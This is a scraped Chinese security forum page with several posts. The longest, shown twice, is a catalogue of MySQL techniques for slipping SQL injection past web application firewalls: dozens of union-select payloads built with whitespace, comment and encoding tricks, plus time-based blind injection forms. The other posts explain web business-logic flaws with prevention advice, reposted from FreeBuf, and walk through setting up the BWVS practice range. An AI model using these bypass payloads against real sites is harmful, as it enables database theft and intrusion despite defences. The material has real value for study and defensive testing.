双引号: SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin
括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin
破浪号加字母: SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin
(4)浮点数、1E0的形式、N形式
id=1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin
SELECT * FROM admin WHERE username = 1 union select user(),Nfrom admin 位置五:from后面的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
破浪号: id=1 union select 1,(select(schema_name)frominformation_schema.SCHEMATA limit 0,1)
内联注释: id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)
{括号: id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
括号: id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
同一个表的情况下,大小写字母加数字都可以
SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin
0x03 函数
 
类型一:常见的过滤函数
  (1)字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
(2)字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了,然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61) 
类型二:过滤了特殊符号
    (1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)
(3)union处的逗号: 通过join拼接。
SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
(4)操作符<>被过滤
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结:使用greatest()绕过比较操作符。类型三:部分函数构造
    (1)sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
(2)select {x 1}形式
select{x[可填充字符]1}
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
%21 !
%2b +
%2d -
%40 @
%7e ~0x04 END
本文汇总了一些常见的Mysql数据库特性和特殊的绕过函数,这是最灵活多变的一种数据库类型,以上这些远远是不够的。比如:单单一个内联注释,就可以嵌套多层,变幻出各种令人诧异的姿势。
仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。 查看全部
0x01 前言
我们经常利用一些数据库特性来进行WAF绕过。在Mysql中,比如可以这样:
内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过:%23%0a、%2d%2d%0a

一起去探索一下能够绕过WAF防护的数据库特性。



 0x02 测试
常见有5个位置即:
SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

   
位置一:参数和union之间的位置
(1)常见形式:/**/、/*!50000union*/等形式:
SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin
(2)空白字符:
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1%0aunion select 1,user() from admin
其他形式如:%1%20、%3920、%40%20、%23%0a、%2d%2d%0a
(3)浮点数形式 :1.1
SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin
SELECT * FROM admin WHERE username = 1.union select 1,user() from admin
其他形式如:%1%2e、%2%2e
(4)1E0的形式(科学计数法):
SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin
(5) Nunion的形式:
SELECT * FROM admin WHERE username = Nunion select 1,user() from admin 
位置二:union和select之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union%a0select 1,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)括号
SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))
select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1))
 
位置三:select和查询参数之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select%091,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 电子邮件符号
%7e ~ 波浪号
SELECT * FROM admin WHERE username = 1 union select~1,user() from admin
(4)其他方式:
括号: SELECT * FROM admin WHERE username = 1 union select(1),user() from admin
内联: SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin
@字符:SELECT * FROM admin WHERE username = 1 union select@1,user() from admin
{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin
引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin
N: SELECT * FROM admin WHERE username = 1 union selectN,user() from admin


位置四:查询参数和from之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)其他符号
波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select schema_namefrom information_schema.SCHEMATA limit 0,1)) SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin
内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
{括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
双引号: SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin
括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin
破浪号加字母: SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin
(4)浮点数、1E0的形式、N形式
id=1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin
SELECT * FROM admin WHERE username = 1 union select user(),Nfrom admin
 位置五:from后面的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
破浪号: id=1 union select 1,(select(schema_name)frominformation_schema.SCHEMATA limit 0,1)
内联注释: id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)
{括号: id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
括号: id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
同一个表的情况下,大小写字母加数字都可以
SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin

0x03 函数
 
类型一:常见的过滤函数
  
(1)字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
(2)字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了,然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61)
 
类型二:过滤了特殊符号
    
(1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)
(3)union处的逗号: 通过join拼接。
SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
(4)操作符<>被过滤
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结:使用greatest()绕过比较操作符。
类型三:部分函数构造
    
(1)sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
(2)select {x 1}形式
select{x[可填充字符]1}
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
%21 !
%2b +
%2d -
%40 @
%7e ~
0x04 END
本文汇总了一些常见的Mysql数据库特性和特殊的绕过函数,这是最灵活多变的一种数据库类型,以上这些远远是不够的。比如:单单一个内联注释,就可以嵌套多层,变幻出各种令人诧异的姿势。
仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。

Web安全测试中常见逻辑漏洞解析

main 发表了文章 • 1 个评论 • 146 次浏览 • 2019-01-13 14:33 • 来自相关话题

看到一篇关于逻辑漏洞解析的文章,分享给大家:
 
具体分类:
 
一:订单金额任意修改解析
 很多中小型的购物网站都存在这个漏洞。在提交订单的时候抓取数据包或者直接修改前端代码,然后对订单的金额任意修改。
如下图所示:


经常见到的参数大多为:


rmb
value
amount
cash
fee
money
num


 
关于支付的逻辑漏洞这一块还有很多种思路,比如相同价格增加订单数量,相同订单数量减少产品价格,订单价格设定为负数等等。
 
预防思路: 1.订单需要多重效验,如下图所演示。

 
2. 订单数值较大时需要人工审核订单信息,如下图所演示。

 
3. 我只是提到两个非常简单的预防思路,第二个甚至还有一些不足之处。这里需要根据业务环境的不同总结出自己的预防方式,最好咨询专门的网络安全公司。二:验证码回传解析: 这个漏洞主要是发生在前端验证处,并且经常发生的位置在于:

1.账号密码找回
2.账号注册
3.支付订单等


验证码主要发送途径:

1.邮箱邮件
2.手机短信


其运行机制如下图所示:

黑客只需要抓取Response数据包便知道验证码是多少。
 
预防思路:
1.response数据内不包含验证码,验证方式主要采取后端验证,但是缺点是服务器的运算压力也会随之增加。
 
2.如果要进行前端验证的话也可以,但是需要进行加密。当然,这个流程图还有一些安全缺陷,需要根据公司业务的不同而进行更改。

 
 
三.未进行登陆凭证验证解析:
 
有些业务的接口,因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作。
  常见案例:
1. 某电商后台主页面,直接在管理员web路径后面输入main.php之类的即可进入。

 
2. 某航空公司订单ID枚举
 
3. 某电子认证中心敏感文件下载
 
4.某站越权操作及缺陷,其主要原因是没对ID参数做cookie验证导致。
 
5. 实际上还有很多案例,这里就不一一例举了,但是他们都存在一个共同的特性,就是没有对用户的登陆凭证进行效验,如下图为例。

 
预防思路: 对敏感数据存在的接口和页面做cookie,ssid,token或者其它验证,如下图所示。

 
 
四:接口无限制枚举解析:
有些关键性的接口因为没有做验证或者其它预防机制,容易遭到枚举攻击。
  常见案例:
1. 某电商登陆接口无验证导致撞库

 
 
2. 某招聘网验证码无限制枚举
 
 
3. 某快递公司优惠券枚举
 
4. 某电商会员卡卡号枚举
5. 某超市注册用户信息获取

 
预防思路: 1. 在输入接口设置验证,如token,验证码等。

如果设定验证码,最好不要单纯的采取一个前端验证,最好选择后端验证。
如果设定token,请确保每个token只能采用一次,并且对token设定时间参数。

2. 注册界面的接口不要返回太多敏感信息,以防遭到黑客制作枚举字典。
3. 验证码请不要以短数字来甚至,最好是以字母加数字进行组合,并且验证码需要设定时间期限。
4. 优惠券,VIP卡号请尽量不要存在规律性和简短性,并且优惠券最好是以数字加字母进行组合。
5. 以上这是部分个人建议,实际方案需要参考业务的具体情况。五:cookie设计存在缺陷解析:
这里需要对其详细的说一下。我们先一个一个来吧。
Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举,如下图所示

根据上图,我们可以分析出,这家网站对于cookie的效验只单纯的采用了一组数字,并且数值为常量,不会改变,这样非常容易遭到黑客的枚举。甚至有一些网站做的更简单,直接以用户名,邮箱号或者用户ID等来作为cookie的判断标准。
  2. cookie设置存在被盗风险
有很多时候,如果一个用户的cookie被盗取,就算用户怎么修改账号和密码,那段cookie一样有效。详情可以参考《BlackHat(世界黑帽大会)官方APP出现两个逻辑漏洞》。
其原理如下:

国内大部分厂商都不会把这个地方当作安全漏洞来处理,他们认为这个漏洞的利用条件是黑客必须要大批量获取到用户的cookie。虽然事实如此,但是这个也是一个安全隐患。
  3.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
有一些厂商为了图方便,没有对用户的cookie做太多的加密工作,仅仅是单纯的做一个静态加密就完事了。我之前就碰到一个,可以为大家还原一下当时的场景。

当时我看到cookie中有个access token参数,看到value后面是两个等号,习惯性的给丢去base64解码里面,发现解出来后是我的用户名。因此只要知道一个人的用户名就可以伪造对方的cookie,登陆他人账户。
  4.还有多个案例不再做重复说明,大家可以深入研究一下cookie中的逻辑漏洞。但是cookie中的漏洞大多都是属于一个越权漏洞。越权漏洞又分为平行越权,垂直越权和交叉越权。

平行越权:权限类型不变,权限ID改变
垂直越权:权限ID不变,权限类型改变
交叉越权:即改变ID,也改变权限

如下图所示:

 
预防思路: 1.cookie中设定多个验证,比如自如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码,一旦密码改变,cookie的值也会改变。
4.cookie中设定session参数,以防cookie可以长时间生效。
5.还有很多方法,不再一一例举,请根据业务不同而思考。
 
 
六:找回密码存在设计缺陷解析:
  1.auth设计缺陷
经常研究逻辑漏洞的人可能会对以下URL很熟悉[code]www.xxx.com/resetpassword.php?id=MD5
[/code]
用户修改密码时,邮箱中会收到一个含有auth的链接,在有效期内用户点击链接,即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数,那么这里就存在一个问题了,Windows环境下rand()最大值为32768,所以这个auth的值是可以被枚举的。
  如下面这个代码可以对auth的值做一个字典。

 
然后重置某个账号,并且对重置链接内的auth进行枚举
 
整个漏洞的运作的流程图如下:
 
2.对response做验证 这个漏洞经常出现在APP中,其主要原因是对于重置密码的的验证是看response数据包,由于之前的案例没有截图,只能画个流程图给大家演示一下。

3.《密码找回逻辑漏洞总结》这篇文章很全面的总结了密码找回漏洞的几个具体思路和分析,这里我就不再继续滚轮子了。
 
预防思路: 1.严格使用标准加密算法,并注意密钥管理。
2.在重置密码的链接上请带入多个安全的验证参数。七:单纯读取内存值数据来当作用户凭证解析:
实际上这个应该算作一个软件的漏洞,但是因为和web服务器相关,所以也当作WEB的逻辑漏洞来处理了。最能当作例子是《腾讯QQ存在高危漏洞可读取并下载任意用户离线文件(泄漏敏感信息)》这个漏洞,但是我相信这种奇葩的漏洞不一定只有腾讯才有,只是还没人去检测罢了。
产生这个漏洞的主要原因是程序在确定一个用户的登陆凭证的时候主要是依靠内存值中的某个value来进行确认,而不是cookie。但是内存值是可以更改和查看的。
其流程图如下:

 
预防思路: 1. 走服务器端的数据最好做cookie验证。
2. 我不反对直接在进程中确定用户的登陆凭证,但是请对进程进行保护,或者对进程中的value做加密处理。
 
-------转载:https://www.freebuf.com/vuls/112339.html#
*文章原创作者: ArthurKiller@漏洞盒子安全研究团队,来自FreeBuf黑客与极客(FreeBuf.COM) 查看全部
看到一篇关于逻辑漏洞解析的文章,分享给大家:
 
具体分类:
 
一:订单金额任意修改解析
 很多中小型的购物网站都存在这个漏洞。在提交订单的时候抓取数据包或者直接修改前端代码,然后对订单的金额任意修改。
如下图所示:


经常见到的参数大多为:



rmb
value
amount
cash
fee
money
num


 
关于支付的逻辑漏洞这一块还有很多种思路,比如相同价格增加订单数量相同订单数量减少产品价格,订单价格设定为负数等等。
 
预防思路: 1.订单需要多重效验,如下图所演示。

 
2. 订单数值较大时需要人工审核订单信息,如下图所演示。

 
3. 我只是提到两个非常简单的预防思路,第二个甚至还有一些不足之处。这里需要根据业务环境的不同总结出自己的预防方式,最好咨询专门的网络安全公司。二:验证码回传解析: 这个漏洞主要是发生在前端验证处,并且经常发生的位置在于:


1.账号密码找回
2.账号注册
3.支付订单等



验证码主要发送途径:


1.邮箱邮件
2.手机短信



其运行机制如下图所示:

黑客只需要抓取Response数据包便知道验证码是多少。
 
预防思路:
1.response数据内不包含验证码,验证方式主要采取后端验证,但是缺点是服务器的运算压力也会随之增加。
 
2.如果要进行前端验证的话也可以,但是需要进行加密。当然,这个流程图还有一些安全缺陷,需要根据公司业务的不同而进行更改。

 
 
三.未进行登陆凭证验证解析:
 
有些业务的接口,因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作。
  常见案例:
1. 某电商后台主页面,直接在管理员web路径后面输入main.php之类的即可进入。

 
2. 某航空公司订单ID枚举
 
3. 某电子认证中心敏感文件下载
 
4.某站越权操作及缺陷,其主要原因是没对ID参数做cookie验证导致。
 
5. 实际上还有很多案例,这里就不一一例举了,但是他们都存在一个共同的特性,就是没有对用户的登陆凭证进行效验,如下图为例。

 
预防思路: 对敏感数据存在的接口和页面做cookie,ssid,token或者其它验证,如下图所示。

 
 
四:接口无限制枚举解析:
有些关键性的接口因为没有做验证或者其它预防机制,容易遭到枚举攻击。
  常见案例:
1. 某电商登陆接口无验证导致撞库

 
 
2. 某招聘网验证码无限制枚举
 
 
3. 某快递公司优惠券枚举
 
4. 某电商会员卡卡号枚举
5. 某超市注册用户信息获取

 
预防思路: 1. 在输入接口设置验证,如token,验证码等。


如果设定验证码,最好不要单纯的采取一个前端验证,最好选择后端验证。
如果设定token,请确保每个token只能采用一次,并且对token设定时间参数。


2. 注册界面的接口不要返回太多敏感信息,以防遭到黑客制作枚举字典。
3. 验证码请不要以短数字来甚至,最好是以字母加数字进行组合,并且验证码需要设定时间期限。
4. 优惠券,VIP卡号请尽量不要存在规律性和简短性,并且优惠券最好是以数字加字母进行组合。
5. 以上这是部分个人建议,实际方案需要参考业务的具体情况。五:cookie设计存在缺陷解析:
这里需要对其详细的说一下。我们先一个一个来吧。
  1. Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举,如下图所示


根据上图,我们可以分析出,这家网站对于cookie的效验只单纯的采用了一组数字,并且数值为常量,不会改变,这样非常容易遭到黑客的枚举。甚至有一些网站做的更简单,直接以用户名,邮箱号或者用户ID等来作为cookie的判断标准。
  2. cookie设置存在被盗风险
有很多时候,如果一个用户的cookie被盗取,就算用户怎么修改账号和密码,那段cookie一样有效。详情可以参考《BlackHat(世界黑帽大会)官方APP出现两个逻辑漏洞》
其原理如下:

国内大部分厂商都不会把这个地方当作安全漏洞来处理,他们认为这个漏洞的利用条件是黑客必须要大批量获取到用户的cookie。虽然事实如此,但是这个也是一个安全隐患。
  3.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
有一些厂商为了图方便,没有对用户的cookie做太多的加密工作,仅仅是单纯的做一个静态加密就完事了。我之前就碰到一个,可以为大家还原一下当时的场景。

当时我看到cookie中有个access token参数,看到value后面是两个等号,习惯性的给丢去base64解码里面,发现解出来后是我的用户名。因此只要知道一个人的用户名就可以伪造对方的cookie,登陆他人账户。
  4.还有多个案例不再做重复说明,大家可以深入研究一下cookie中的逻辑漏洞。但是cookie中的漏洞大多都是属于一个越权漏洞。越权漏洞又分为平行越权,垂直越权和交叉越权。


平行越权:权限类型不变,权限ID改变
垂直越权:权限ID不变,权限类型改变
交叉越权:即改变ID,也改变权限


如下图所示:

 
预防思路: 1.cookie中设定多个验证,比如自如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码,一旦密码改变,cookie的值也会改变。
4.cookie中设定session参数,以防cookie可以长时间生效。
5.还有很多方法,不再一一例举,请根据业务不同而思考。
 
 
六:找回密码存在设计缺陷解析:
  1.auth设计缺陷
经常研究逻辑漏洞的人可能会对以下URL很熟悉
[code]www.xxx.com/resetpassword.php?id=MD5
[/code]
用户修改密码时,邮箱中会收到一个含有auth的链接,在有效期内用户点击链接,即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数,那么这里就存在一个问题了,Windows环境下rand()最大值为32768,所以这个auth的值是可以被枚举的。
  如下面这个代码可以对auth的值做一个字典。

 
然后重置某个账号,并且对重置链接内的auth进行枚举
 
整个漏洞的运作的流程图如下:
 
2.对response做验证 这个漏洞经常出现在APP中,其主要原因是对于重置密码的的验证是看response数据包,由于之前的案例没有截图,只能画个流程图给大家演示一下。

3.《密码找回逻辑漏洞总结》这篇文章很全面的总结了密码找回漏洞的几个具体思路和分析,这里我就不再继续滚轮子了。
 
预防思路: 1.严格使用标准加密算法,并注意密钥管理。
2.在重置密码的链接上请带入多个安全的验证参数。七:单纯读取内存值数据来当作用户凭证解析:
实际上这个应该算作一个软件的漏洞,但是因为和web服务器相关,所以也当作WEB的逻辑漏洞来处理了。最能当作例子是《腾讯QQ存在高危漏洞可读取并下载任意用户离线文件(泄漏敏感信息)》这个漏洞,但是我相信这种奇葩的漏洞不一定只有腾讯才有,只是还没人去检测罢了。
产生这个漏洞的主要原因是程序在确定一个用户的登陆凭证的时候主要是依靠内存值中的某个value来进行确认,而不是cookie。但是内存值是可以更改和查看的。
其流程图如下:

 
预防思路: 1. 走服务器端的数据最好做cookie验证。
2. 我不反对直接在进程中确定用户的登陆凭证,但是请对进程进行保护,或者对进程中的value做加密处理。
 
-------转载:https://www.freebuf.com/vuls/112339.html#
*文章原创作者: ArthurKiller@漏洞盒子安全研究团队,来自FreeBuf黑客与极客(FreeBuf.COM)

web漏洞大型综合类测试系统-BWVS

llpkk 发表了文章 • 1 个评论 • 171 次浏览 • 2019-01-10 23:39 • 来自相关话题

本篇文章主要借鉴于:
id:疯狂棒棒糖7
https://blog.csdn.net/weixin_42373210/article/details/81196338
 
 
我的简书博客:https://www.jianshu.com/u/1f9e409c0809
 
在学习了一些基本的漏洞之后,只能在笔记中能够回顾这些基础,并不能有一个合适的靶场来练习。当然,SQLi,upload-labs-master是sql注入和文件上传漏洞非常能够有提升自己的靶场,但是像反射性XSS,存储型XSS和DOM型XSS就比较难以复现,像CSRF,SSRF,任意命令执行和任意文件下载等等很多基础漏洞无法复现。我很迫切找到一个能够拥有这些所有漏洞的综合性渗透测试靶场,所以我就百度了一些,找到了由BUGKU推出的一款开元免费的渗透测试靶场——BWVS。
(因为我比较菜,所以感觉DVWA感觉比较难,大佬自行绕过)
 
我会在这里详细描述一下BWVS的搭建过程①:靶场所需要的环境
PHP和MYSQL环境即可,看过大佬的博客有说最好不要装在虚拟机当中。
php环境:使用phpstudy2018
mysql环境:phpstudy自带mysql环境
phpstudy2018官网下载传送门:http://phpstudy.php.cn
phpstudy2018使用教程传送门:http://www.php.cn/php-weizijiaocheng-389892.html
如果你从来都没有使用过phpstudy2018,那么给你这个非常详细的使用教程,我这里就不在赘述,
 

image.png
 ②:为搭建BWVS更改配置文件 php.ini 中的配置
需要配置php.ini中的两个配置:
1.allow_url_include = On(需要手动开启)
2.allow_url_fopen = On(默认为开启)
 

image.png 
正常情况下这两个选项是在一起的,如图改为On就好了 
 

image.png③:配置BWVS靶机
下载BWVS压缩包并解压后会出现WWW.rar和dwvs.sql两个文件,首先需要导入根目录的sql 文件,百度了一个懒人教程,非常简单。
 

image.png 
这个过程需要注意的是还原到数据库名这个地方一定要写BWVS,自己踩过坑,比较注意。
这时候把解压出来的WWW.rar文件解压解压出来并将文件名WWW改为BWVS并放置到php目录下的WWW目录下例如我的是:G:\php\PHPTutorial\WWW
这个要根据自己安装的情况来定④:BWVS配置文件的修改
接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置,这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。 
 

image.png
接着修改\bug\conn.php里的mysql配置,同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。 
 

image.png⑤:BWVS配置完成,进入靶场进行联系
打开phpstudy2018并启动,在浏览器中输入127.0.0.1或者输入http://localhost/BWVS。
如果没有目录的话在php中可以打开,如图
 

image.png
这样进入后直接打开BWVS即可
 

image.png 
 

image.png 
 

image.png
 
到这里整个环境就搭建完成,一共拥有41个漏洞[code] SQL联合查询注入

SQL搜索型注入

SQL报错型注入

SQL数字型注入

SQL字符型注入

SQL基于时间的盲注

SQL逻辑注入

反射型 XSS

存储型 XSS

DOM型 XSS

暴力破解

PHP远程命令执行漏洞

本地文件包含漏洞

任意文件包含漏洞

任意代码读取漏洞

目录限制文件包含

修改任意用户密码漏洞

任意文件上传漏洞

JS限制文件上传

MIME限制文件上传

扩展名限制文件上传

内容限制文件上传

任意代码执行

ssrf

无验证码爆破

源码泄漏

php://input伪协议。。。。。。等等漏洞共41个
[/code]
BWVS渗透测试靶场可以帮助我们复现各种各样的漏洞,有些简单到让人蛋蛋痛,但也有些可能会让你感到怀疑人生。目前我由于时间原因还没有完全做完,希望自己能够把这里的所有漏洞都复现一下。作为一个web安全的小白白在老师的带领下看到了许许多多业界大佬精英的“英雄池”是那么那么的深,瞬间感觉自己很渺小,很微弱。无论是年幼的幻想也罢,还是成年的理想也好,我都希望自己能够坚持下去,走好我自己的网络安全之路,加油~ 查看全部
本篇文章主要借鉴于:
id:疯狂棒棒糖7
https://blog.csdn.net/weixin_42373210/article/details/81196338
 
 
我的简书博客:https://www.jianshu.com/u/1f9e409c0809
 
在学习了一些基本的漏洞之后,只能在笔记中能够回顾这些基础,并不能有一个合适的靶场来练习。当然,SQLi,upload-labs-master是sql注入和文件上传漏洞非常能够有提升自己的靶场,但是像反射性XSS,存储型XSS和DOM型XSS就比较难以复现,像CSRF,SSRF,任意命令执行和任意文件下载等等很多基础漏洞无法复现。我很迫切找到一个能够拥有这些所有漏洞的综合性渗透测试靶场,所以我就百度了一些,找到了由BUGKU推出的一款开元免费的渗透测试靶场——BWVS。
(因为我比较菜,所以感觉DVWA感觉比较难,大佬自行绕过)
 
我会在这里详细描述一下BWVS的搭建过程①:靶场所需要的环境
PHP和MYSQL环境即可,看过大佬的博客有说最好不要装在虚拟机当中。
php环境:使用phpstudy2018
mysql环境:phpstudy自带mysql环境
phpstudy2018官网下载传送门:http://phpstudy.php.cn
phpstudy2018使用教程传送门:http://www.php.cn/php-weizijiaocheng-389892.html
如果你从来都没有使用过phpstudy2018,那么给你这个非常详细的使用教程,我这里就不在赘述,
 

image.png
 ②:为搭建BWVS更改配置文件 php.ini 中的配置
需要配置php.ini中的两个配置:
1.allow_url_include = On(需要手动开启)
2.allow_url_fopen = On(默认为开启)
 

image.png 
正常情况下这两个选项是在一起的,如图改为On就好了 
 

image.png③:配置BWVS靶机
下载BWVS压缩包并解压后会出现WWW.rar和dwvs.sql两个文件,首先需要导入根目录的sql 文件,百度了一个懒人教程,非常简单。
 

image.png 
这个过程需要注意的是还原到数据库名这个地方一定要写BWVS,自己踩过坑,比较注意。
这时候把解压出来的WWW.rar文件解压解压出来并将文件名WWW改为BWVS并放置到php目录下的WWW目录下例如我的是:G:\php\PHPTutorial\WWW
这个要根据自己安装的情况来定④:BWVS配置文件的修改
接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置,这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。 
 

image.png
接着修改\bug\conn.php里的mysql配置,同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。 
 

image.png⑤:BWVS配置完成,进入靶场进行联系
打开phpstudy2018并启动,在浏览器中输入127.0.0.1或者输入http://localhost/BWVS
如果没有目录的话在php中可以打开,如图
 

image.png
这样进入后直接打开BWVS即可
 

image.png 
 

image.png 
 

image.png
 
到这里整个环境就搭建完成,一共拥有41个漏洞
[code]    SQL联合查询注入

SQL搜索型注入

SQL报错型注入

SQL数字型注入

SQL字符型注入

SQL基于时间的盲注

SQL逻辑注入

反射型 XSS

存储型 XSS

DOM型 XSS

暴力破解

PHP远程命令执行漏洞

本地文件包含漏洞

任意文件包含漏洞

任意代码读取漏洞

目录限制文件包含

修改任意用户密码漏洞

任意文件上传漏洞

JS限制文件上传

MIME限制文件上传

扩展名限制文件上传

内容限制文件上传

任意代码执行

ssrf

无验证码爆破

源码泄漏

php://input伪协议。。。。。。等等漏洞共41个
[/code]
BWVS渗透测试靶场可以帮助我们复现各种各样的漏洞,有些简单到让人蛋蛋痛,但也有些可能会让你感到怀疑人生。目前我由于时间原因还没有完全做完,希望自己能够把这里的所有漏洞都复现一下。作为一个web安全的小白白在老师的带领下看到了许许多多业界大佬精英的“英雄池”是那么那么的深,瞬间感觉自己很渺小,很微弱。无论是年幼的幻想也罢,还是成年的理想也好,我都希望自己能够坚持下去,走好我自己的网络安全之路,加油~

过狗一句话

sq_smile 发表了文章 • 0 个评论 • 117 次浏览 • 2019-01-10 11:12 • 来自相关话题

